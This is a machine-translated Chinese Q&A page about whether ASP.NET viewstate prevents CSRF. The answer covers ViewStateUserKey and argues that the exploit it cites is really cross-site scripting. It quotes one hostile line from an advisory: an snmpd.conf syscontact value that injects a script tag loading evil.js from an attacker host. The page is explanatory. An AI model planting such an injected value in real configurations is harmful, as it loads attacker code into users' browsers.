在什麼情況下請求中的視圖狀態可以防止CSRF攻擊? This exploit聲稱即使視圖狀態出現在請求中,它仍然容易受到CSRF的影響。然而這個漏洞並不能解釋爲什麼會出現這種情況。viewstate什麼時候停止CSRF?它何時失敗?
1
A
回答
1
viewstate是一種意味着持續跨回發的視圖狀態(即控件的屬性值)。如果這個狀態可以被攻擊者猜出或者僞造,那麼攻擊者也可以僞造一個真實的跨站請求。
在mentioned case,似乎攻擊實際上需要一個跨站點腳本漏洞的CSRF攻擊:
通過XSS和CSRF的組合,用戶可以添加到Web應用程序通過配置snmpd.conf文件到指向一個攻擊者控制的JavaScript文件:
syscontact <script src="http://attacker/evil.js"></script>
所以具有目標原點內執行的攻擊代碼,該請求僞造攻擊不是「截面-S ite'。除此之外,由於視圖狀態在某些情況下可以預測,因此不能防止CSRF攻擊,供應商向視圖狀態機制添加了一些不可預知的信息。在ASP.NET中,這被稱爲ViewStateUserKey property,它基本上是每個用戶的私有密鑰,用於視圖狀態的MAC計算。
但由於該漏洞的描述說,似乎他們已經在使用這樣的保護措施:
[...] NPM也容易受到CSRF攻擊,儘管它利用VIEWSTATE保護的事實。
因此,這又是一個跨站點腳本漏洞,而不是跨站點請求僞造漏洞。因爲如果您已經能夠從網站內執行JavaScript代碼,則您已經完全控制網站。
相關問題
- 1. 什麼時候fopen失敗?
- 2. 什麼時候應該停止服務
- 3. 什麼時候startService()停止了服務?
- 4. 什麼時候停止CNN學習
- 5. 什麼時候值得壓縮ViewState?
- 6. 什麼時候ViewState會話被清除?
- 7. 什麼時候wkhtmltopdf真的失敗
- 8. 什麼時候會put()失敗?
- 9. Django失敗時的CSRF
- 10. 當JUnit失敗時,如何停止Maven?
- 11. intn_t什麼時候使用它,什麼時候不使用
- 12. $ wpdb - 它在失敗時返回什麼?
- 13. SSAS時間序列,預測什麼時候會失敗
- 14. 如何知道tonegenerator什麼時候停止播放
- 15. 函數ggplot:什麼時候它不識別參數,什麼時候它?
- 16. 停止「嗶」的時候messageBox.Show()
- 17. Ajax-Call失敗時停止執行Linkbutton
- 18. 斷言失敗時循環停止
- 19. 當我停止錄製時MediaRecorder失敗
- 20. 當它失敗時可以停止vb腳本(在QTP中)嗎?
- 21. 什麼時候NFC服務停用?
- 22. 什麼時候停止UIViewController接收委託調用
- 23. 什麼時候停止從文件讀取?
- 24. 谷歌什麼時候停止支持c2dm推送通知?
- 25. 什麼時候應該停止單元測試
- 26. 什麼時候該停止訓練我的模型?
- 27. 什麼時候由invisible()返回的對象停止不可見?
- 28. 我的正則表達式不知道什麼時候停止
- 29. 什麼時候應該停止更新位置管理器?
- 30. 什麼時候停止駱駝上下文
這是一個真正的asp-classic問題還是你的意思是asp.net? – AnthonyWJones 2012-07-22 20:51:50